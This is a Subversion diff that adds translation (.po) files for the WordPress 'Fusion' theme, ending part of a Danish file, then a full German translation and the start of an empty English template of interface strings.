+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:32
+msgid "l, F jS, Y"
+msgstr "l \den j. F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+#, php-format
+msgid "You are currently browsing the archives for the year %1$s"
+msgstr "Du gennemser akiverne over Ã¥ret %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:39
+msgid "You have searched the archives for"
+msgstr "Du har sÃžgt i arkiverne efter"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:42
+msgid "You are currently browsing the archives."
+msgstr "Du gennemser arkiverne."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:70
+msgid "Archives"
+msgstr "Arkiver"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:83
+msgid "Meta"
+msgstr "Meta"
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/de_DE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/de_DE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/de_DE.po	(revision 44)
@@ -0,0 +1,580 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-04-29 14:34+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: digitalnature <hello@digitalnature.ro>\n"
+"Language-Team: eloy.ch <eloy.castro@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: German\n"
+"X-Poedit-Country: GERMANY\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: .\n"
+"X-Poedit-SearchPath-1: ..\n"
+
+#: ../404.php:6
+msgid "Page not found (404)"
+msgstr "Seite konnte nicht gefunden werden (404)"
+
+#: ../archive.php:9
+#, php-format
+msgid "Archive for category %s"
+msgstr "Archiv f&uuml;r Kategorie %s"
+
+#: ../archive.php:11
+#, php-format
+msgid "Posts Tagged %s"
+msgstr "Beitr&auml;ge getagged mit %s"
+
+#: ../archive.php:13
+#: ../archive.php:15
+#: ../archive.php:17
+#, php-format
+msgid "Archive for %s"
+msgstr "Archiv f&uuml;r %s"
+
+#: ../archive.php:13
+#: ../archive.php:35
+#: ../functions.php:236
+#: ../index.php:20
+msgid "F jS, Y"
+msgstr "j. F Y"
+
+#: ../archive.php:15
+msgid "F, Y"
+msgstr "F, Y"
+
+#: ../archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: ../archive.php:19
+msgid "Author Archive"
+msgstr "Author Archiv"
+
+#: ../archive.php:21
+msgid "Blog Archives"
+msgstr "Blog Archive"
+
+#: ../archive.php:30
+#: ../index.php:15
+msgid "Permanent Link:"
+msgstr "Dauerhafter Link zu:"
+
+#: ../archive.php:35
+#: ../index.php:20
+#, php-format
+msgid "Posted by %s in %s on %s"
+msgstr "Verfasst von %s unter %s am %s"
+
+#: ../archive.php:35
+#: ../author.php:42
+#: ../index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "Beitr&auml;ge von %s"
+
+#: ../archive.php:40
+#: ../image.php:17
+#: ../index.php:26
+msgid "Read the rest of this entry &raquo;"
+msgstr "Zum Rest des Beitrags &raquo;"
+
+#: ../archive.php:52
+#: ../author.php:51
+#: ../index.php:38
+#: ../search.php:27
+msgid "No Comments"
+msgstr "Keine Kommentare"
+
+#: ../archive.php:52
+#: ../author.php:51
+#: ../index.php:38
+#: ../search.php:27
+msgid "1 Comment"
+msgstr "1 Kommentar"
+
+#: ../archive.php:52
+#: ../author.php:51
+#: ../index.php:38
+#: ../search.php:27
+msgid "% Comments"
+msgstr "% Kommentare"
+
+#: ../archive.php:63
+#: ../author.php:58
+#: ../index.php:48
+#: ../search.php:13
+#: ../search.php:34
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Fr&uuml;here Beitr&auml;ge"
+
+#: ../archive.php:64
+#: ../author.php:59
+#: ../index.php:49
+#: ../search.php:14
+#: ../search.php:35
+msgid "Newer Entries &raquo;"
+msgstr "Neuere Beitr&auml;ge &raquo;"
+
+#: ../archive.php:70
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Tut uns leid, aber es gibt bisher noch keine Beitr&auml;ge in der Kategorie %s."
+
+#: ../archive.php:72
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Tut uns leid, aber es gibt bisher keine Beitr&auml;ge an diesem Datum."
+
+#: ../archive.php:75
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Tut uns leid, aber es gibt bisher keine Beitr&auml;ge von %s."
+
+#: ../archive.php:77
+msgid "No posts found."
+msgstr "Keine passenden Beitr&auml;ge gefunden."
+
+#: ../archives.php:10
+msgid "Archives by Month:"
+msgstr "Archive nach Monat:"
+
+#: ../archives.php:14
+msgid "Archives by Subject:"
+msgstr "Archive nach Thema:"
+
+#: ../author.php:25
+msgid "This user hasn't shared any biographical information"
+msgstr "Dieser Benutzer hat keine biographischen Informationen freigegeben"
+
+#: ../author.php:30
+msgid "Homepage:"
+msgstr "Startseite:"
+
+#: ../author.php:31
+msgid "Yahoo Messenger:"
+msgstr "Yahoo Messenger:"
+
+#: ../author.php:32
+msgid "Jabber/GTalk:"
+msgstr "Jabber / gTalk:"
+
+#: ../author.php:33
+msgid "AIM:"
+msgstr "AIM:"
+
+#: ../author.php:50
+#: ../image.php:31
+#: ../search.php:26
+msgid "l, F jS, Y"
+msgstr "l, j. F Y"
+
+#: ../author.php:51
+#: ../search.php:27
+msgid "Tags: "
+msgstr "Tags:"
+
+#: ../author.php:51
+#: ../search.php:27
+#, php-format
+msgid "Posted in %s"
+msgstr "Verfasst unter %s"
+
+#: ../author.php:51
+#: ../search.php:27
+msgid "Edit"
+msgstr "Editieren"
+
+#: ../author.php:64
+msgid "No posts found by this author."
+msgstr "Keine passenden Beitr&auml;ge dieses Authors gefunden."
+
+#: ../comments.php:5
+msgid "Enter your password to view comments"
+msgstr "Bitte geben Sie Ihr Passwort ein, um die Kommentare anzusehen"
+
+#: ../comments.php:21
+msgid "Comments"
+msgstr "Kommentare"
+
+#: ../comments.php:22
+msgid "Trackbacks"
+msgstr "Trackbacks"
+
+#: ../comments.php:41
+msgid "No comments yet."
+msgstr "Bisher keine Kommentare."
+
+#: ../comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "Sie m&uuml;ssen <a href=\"%s\">angemeldet</a> sein, um einen Beitrag zu verfassen."
+
+#: ../comments.php:69
+msgid "Cancel Reply"
+msgstr "Kommentar l&ouml;schen"
+
+#: ../comments.php:75
+#, php-format
+msgid "Logged in as %s."
+msgstr "Angemeldet als %s"
+
+#: ../comments.php:77
+msgid "Log out of this account"
+msgstr "Diesen Benutzer abmelden"
+
+#: ../comments.php:77
+msgid "Logout &raquo;"
+msgstr "Abmelden &raquo;"
+
+#: ../comments.php:81
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Willkommen zur&uuml;ck <strong>%s</strong>."
+
+#: ../comments.php:81
+msgid "Change &raquo;"
+msgstr "&Auml;ndern &raquo;"
+
+#: ../comments.php:81
+msgid "Close &raquo;"
+msgstr "Schliessen &raquo;"
+
+#: ../comments.php:86
+msgid "Name"
+msgstr "Name"
+
+#: ../comments.php:86
+#: ../comments.php:90
+msgid "(required)"
+msgstr "(notwendig)"
+
+#: ../comments.php:90
+msgid "E-Mail"
+msgstr "E-Mail"
+
+#: ../comments.php:90
+msgid "(will not be published)"
+msgstr "(wird nicht ver&ouml;ffentlicht)"
+
+#: ../comments.php:94
+msgid "Website"
+msgstr "Webseite"
+
+#: ../comments.php:112
+msgid "Submit Comment"
+msgstr "Kommentar hinzuf&uuml;gen"
+
+#: ../comments.php:129
+msgid "No trackbacks yet."
+msgstr "Bisher keine Trackbacks."
+
+#: ../comments.php:142
+msgid "Comments are closed."
+msgstr "Kommentare sind abgeschaltet."
+
+#: ../footer.php:21
+#, php-format
+msgid "Fusion theme by %s"
+msgstr "Fusion Theme von %s"
+
+#: ../footer.php:23
+#, php-format
+msgid "powered by %s"
+msgstr "powered by %s"
+
+#: ../footer.php:26
+msgid "Entries (RSS)"
+msgstr "Beitr&auml;ge (RSS)"
+
+#: ../footer.php:26
+msgid "and"
+msgstr "und"
+
+#: ../footer.php:26
+msgid "Comments (RSS)"
+msgstr "Kommentare (RSS)"
+
+#: ../footer.php:33
+msgid "Increase/Decrease text size"
+msgstr "Textgr&ouml;sse vergr&ouml;&szlig;ern/verkleinern"
+
+#: ../footer.php:34
+msgid "Switch between full and fixed width"
+msgstr "Zwischen voller und festgelegter Breite wechseln"
+
+#: ../functions.php:85
+#: ../functions.php:93
+msgid "Fusion Theme Options"
+msgstr "Fusion Theme Optionen"
+
+#: ../functions.php:96
+msgid "Meta keywords:"
+msgstr "Meta Schl&uuml;sselw&ouml;rter:"
+
+#: ../functions.php:97
+msgid "Separate with commas"
+msgstr "Mit Kommas trennen"
+
+#: ../functions.php:102
+msgid "Use custom logo image"
+msgstr "Eigenes Logo benutzen"
+
+#: ../functions.php:102
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "Laden Sie Ihr eigenes Logo als \"logo.png\" in das Themenverzeichnis hoch:"
+
+#: ../functions.php:102
+msgid "You should export the logo image with transparency enabled"
+msgstr "Sie sollten das Logo mit Transparenz exportieren"
+
+#: ../functions.php:107
+msgid "Disable homepage tab"
+msgstr "Homepage-Reiter abschalten"
+
+#: ../functions.php:107
+msgid "Check this if you are using a static page as the homepage"
+msgstr "Bitte anw&auml;hlen, falls Sie eine statische Seite als Homepage verwenden"
+
+#: ../functions.php:112
+msgid "Show the categories as header tabs"
+msgstr "Die Kategorien als Kopfzeilen-Reiter darstellen"
+
+#: ../functions.php:112
+msgid "(instead of pages)"
+msgstr "(statt Seiten)"
+
+#: ../functions.php:117
+msgid "Disable the default category block in the sidebar"
+msgstr "Den Standardkategorien-Block in der Seitennavigation abschalten"
+
+#: ../functions.php:117
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "Bitte anw&auml;hlen, falls Sie die Kategorien-Widget-Ansicht bevorzugen oder die Kategorien einfach verstecken wollen"
+
+#: ../functions.php:122
+msgid "Disable the default search block in the sidebar"
+msgstr "Den Such-Block in der Seitennavigation abschalten"
+
+#: ../functions.php:122
+msgid "Check if you don't like the theme-default search look"
+msgstr "Bitte anw&auml;hlen, falls sie den Standard-Themen-Such Stil nicht gut finden"
+
+#: ../functions.php:127
+msgid "Disable layout controls (Aa/<>)"
+msgstr "Die Layout-Steuerelemente abschalten (Aa/<>)"
+
+#: ../functions.php:129
+msgid "Default page content width:"
+msgstr "Standard Seiteninhaltsbreite:"
+
+#: ../functions.php:132
+msgid "Fixed (960 pixels)"
+msgstr "Festgelegt (960 Pixel)"
+
+#: ../functions.php:136
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "Ver&auml;nderlich (95 Prozent der Bildschirmbreite)"
+
+#: ../functions.php:137
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "Hinweis: Wenn die Layout-Steuerelemente angeschaltet sind, wird diese Option von den Einstellungen bez&uuml;glich der JavaScript-Seiten Breite im Cookie des Besuchers &uuml;bersteuert"
+
+#: ../functions.php:141
+msgid "Sidebar position:"
+msgstr "Position der Seitennavigation"
+
+#: ../functions.php:144
+msgid "Right (default)"
+msgstr "Rechts (Standard)"
+
+#: ../functions.php:148
+msgid "Left"
+msgstr "Links"
+
+#: ../functions.php:154
+msgid "Disable jQuery and the associated code"
+msgstr "jQuery und den damit zusammenh&auml;ngenden Code abschalten"
+
+#: ../functions.php:154
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "Dies wird die Seitengr&ouml;sse um ~70 KB verringern, aber auch einige Funktionalit&auml;ten und Effekte (Layout-Steuerelemente, RSS Links innerhalb des Kategoriemen&uuml;s, Kommentar-Reiter, Trackbacks) abschalten.<br />Sie sollten dies nur ver&auml;ndern, falls Sie Probleme mit Ihrem Hoster und der dort zur Verf&uuml;gung stehenden Bandbreite haben"
+
+#: ../functions.php:157
+msgid "Custom CSS code"
+msgstr "Eigener CSS Code"
+
+#: ../functions.php:158
+#, php-format
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check %s to see existing styles, which you can redefine here."
+msgstr "Hier k&ouml;nnen Sie alles in Bezug auf das Design ver&auml;ndern bzw. hinzuf&uuml;gen, falls Sie Grundkenntnisse in CSS besitzen. Schauen Sie sich %s an um die vorhandenen Styles zu sehen, welche Sie hier neu definieren k&ouml;nnen."
+
+#: ../functions.php:158
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "Ver&auml;ndern Sie style.css nicht, wenn Sie Ihre &Auml;nderungen auch nach einer Aktualisierung des Themes beibehalten wollen! Nutzen Sie stattdessen diese Option."
+
+#: ../functions.php:178
+msgid "Save Changes"
+msgstr "&Auml;nderungen speichern"
+
+#: ../functions.php:236
+#, php-format
+msgid "%s by %s at %s"
+msgstr "%s von %s unter %s"
+
+#: ../functions.php:236
+msgid "H:i"
+msgstr "H:i"
+
+#: ../functions.php:243
+msgid "Your comment is awaiting moderation."
+msgstr "Ihr Beitrag wartet auf Moderation."
+
+#: ../functions.php:253
+msgid "Reply"
+msgstr "Antworten"
+
+#: ../functions.php:253
+msgid "Quote"
+msgstr "Zitieren"
+
+#: ../header.php:152
+msgid "You are Home"
+msgstr "Sie sind auf der Startseite"
+
+#: ../header.php:152
+#: ../header.php:154
+msgid "Home"
+msgstr "Startseite"
+
+#: ../header.php:154
+msgid "Click for Home"
+msgstr "Hier klicken, um auf die Startseite zu wechseln"
+
+#: ../image.php:31
+#, php-format
+msgid "This entry was posted on %s and is filed under %s. You can follow any responses to this entry through %s."
+msgstr "Dieser Beitrag wurde am %s unter %s verfasst. Sie k&ouml;nnen alle Antworten auf diesen Beitrag nachverfolgen mit %s."
+
+#: ../image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Sie k&ouml;nnen <a href=\"#respond\">eine Antwort</a>, oder einen <a href=\"%s\" rel=\"trackback\">Trackback</a> von Ihrer eigenen Seite hinterlassen."
+
+#: ../image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Antworten sind derzeit abgeschaltet, aber Sie k&ouml;nnen einen <a href=\"%s\" rel=\"trackback\">Trackback</a> von Ihrer eigenen Seite hinterlassen."
+
+#: ../image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "Sie k&ouml;nnen ans Ende springen und eine Antwort hinterlassen. Pinging ist derzeit nicht erlaubt."
+
+#: ../image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "Sowohl Kommentare als auch Pings sind derzeit abgeschaltet."
+
+#: ../image.php:49
+msgid "Edit this entry"
+msgstr "Diesen Beitrag bearbeiten"
+
+#: ../image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Tut uns leid, aber kein Anhang passt auf Ihre Suchkriterien."
+
+#: ../index.php:54
+msgid "Not Found"
+msgstr "Nicht gefunden"
+
+#: ../index.php:55
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Tut uns leid, aber Sie suchen nach etwas, das es hier nicht gibt."
+
+#: ../links.php:10
+msgid "Links:"
+msgstr "Links:"
+
+#: ../page-3col.php:20
+#: ../page-nosidebar.php:20
+#: ../page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "Lesen Sie den Rest dieser Seite &raquo;"
+
+#: ../search.php:8
+msgid "Search Results"
+msgstr "Suchergebnisse"
+
+#: ../search.php:40
+msgid "No posts found. Try a different search?"
+msgstr "Keine passenden Beitr&auml;ge gefunden. Wollen Sie nochmals suchen?"
+
+#: ../searchform.php:8
+msgid "Search"
+msgstr "Suche"
+
+#: ../sidebar.php:20
+#, php-format
+msgid "You are currently browsing the archives for the %s category."
+msgstr "Sie durchsuchen derzeit die Archive der Kategorie %s."
+
+#: ../sidebar.php:23
+#: ../sidebar.php:26
+#, php-format
+msgid "You are currently browsing the archives for %s"
+msgstr "Sie durchsuchen derzeit die Archive f&uuml;r %s"
+
+#: ../sidebar.php:29
+#, php-format
+msgid "You are currently browsing the archives for the year %s"
+msgstr "Sie durchsuchen derzeit die Archive des Jahres %s"
+
+#: ../sidebar.php:32
+#, php-format
+msgid "You have searched the archives for %s."
+msgstr "Sie haben die Archive nach folgendem Suchbegriff durchsucht: %s"
+
+#: ../sidebar.php:35
+msgid "You are currently browsing the archives."
+msgstr "Sie durchsuchen derzeit die Archive."
+
+#: ../sidebar.php:62
+msgid "Archives"
+msgstr "Archive"
+
+#: ../sidebar.php:73
+msgid "Meta"
+msgstr "Meta"
+
+#: ../single.php:59
+msgid "Sorry, no posts matched your criteria."
+msgstr "Tut uns leid, aber kein Beitrag passt zu Ihren Suchkriterien."
+
+#: ../yarpp-template-fusion.php:5
+msgid "Related Posts"
+msgstr "&Auml;hnliche Beitr&auml;ge"
+
+#: ../yarpp-template-fusion.php:13
+msgid "No related posts."
+msgstr "Keine &auml;hnliche Beitr&auml;ge."
+
+#~ msgid "on"
+#~ msgstr "am"
+#~ msgid "to see existing styles, which you can redefine here."
+#~ msgstr ""
+#~ "an, um einen &Uuml;berblick &uuml;ber die bestehenden CSS Angaben zu "
+#~ "bekommen und die Stile hier neu zu definieren."
+#~ msgid "by"
+#~ msgstr "von"
+#~ msgid "%1$s at %2$s"
+#~ msgstr "%1$s zu %2$s"
+#~ msgid "This entry was posted on"
+#~ msgstr "Dieser Beitrag wurde verfasst am"
+#~ msgid "and is filed under"
+#~ msgstr "und ist eingeordnet unter"
+#~ msgid "Subscribe to comments feed"
+#~ msgstr "Kommentar-Feed abonnieren"
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/default.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/default.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/default.po	(revision 44)
@@ -0,0 +1,556 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.6\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-04-05 18:03+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: digitalnature <hello@digitalnature.ro>\n"
+"Language-Team: digitalnature.ro <hello@digitalnature.ro>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: English\n"
+"X-Poedit-Country: UNITED STATES\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:6
+msgid "Page not found (404)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+#, php-format
+msgid "Archive for category %s"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+#, php-format
+msgid "Posts Tagged %s"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+#, php-format
+msgid "Archive for %s"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:15
+msgid "Permanent Link:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s on %s"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:33
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:17
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:26
+msgid "Read the rest of this entry &raquo;"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "No Comments"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "1 Comment"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:38
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "% Comments"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:63
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:48
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "&laquo; Older Entries"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:64
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:50
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:14
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:35
+msgid "Newer Entries &raquo;"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:70
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+msgid "Sorry, but there aren't any posts with this date."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:75
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+msgid "No posts found."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:16
+msgid "This user hasn't shared any biographical information"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:21
+msgid "Homepage:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:22
+msgid "Yahoo Messenger:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:23
+msgid "Jabber/GTalk:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:24
+msgid "AIM:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:41
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "l, F jS, Y"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Tags: "
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+#, php-format
+msgid "Posted in %s"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Edit"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:55
+msgid "No posts found by this author."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Logged in as %s."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:77
+msgid "Log out of this account"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:77
+msgid "Logout &raquo;"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+msgid "Change &raquo;"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+msgid "Close &raquo;"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:86
+msgid "Name"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:86
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "(required)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "E-Mail"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "(will not be published)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:94
+msgid "Website"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:112
+msgid "Submit Comment"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:129
+msgid "No trackbacks yet."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:142
+msgid "Comments are closed."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:21
+#, php-format
+msgid "Fusion theme by %s"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:23
+#, php-format
+msgid "powered by %s"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "Entries (RSS)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "and"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "Comments (RSS)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:33
+msgid "Increase/Decrease text size"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:34
+msgid "Switch between full and fixed width"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:85
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:93
+msgid "Fusion Theme Options"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:96
+msgid "Meta keywords:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Separate with commas"
+msgstr ""
+
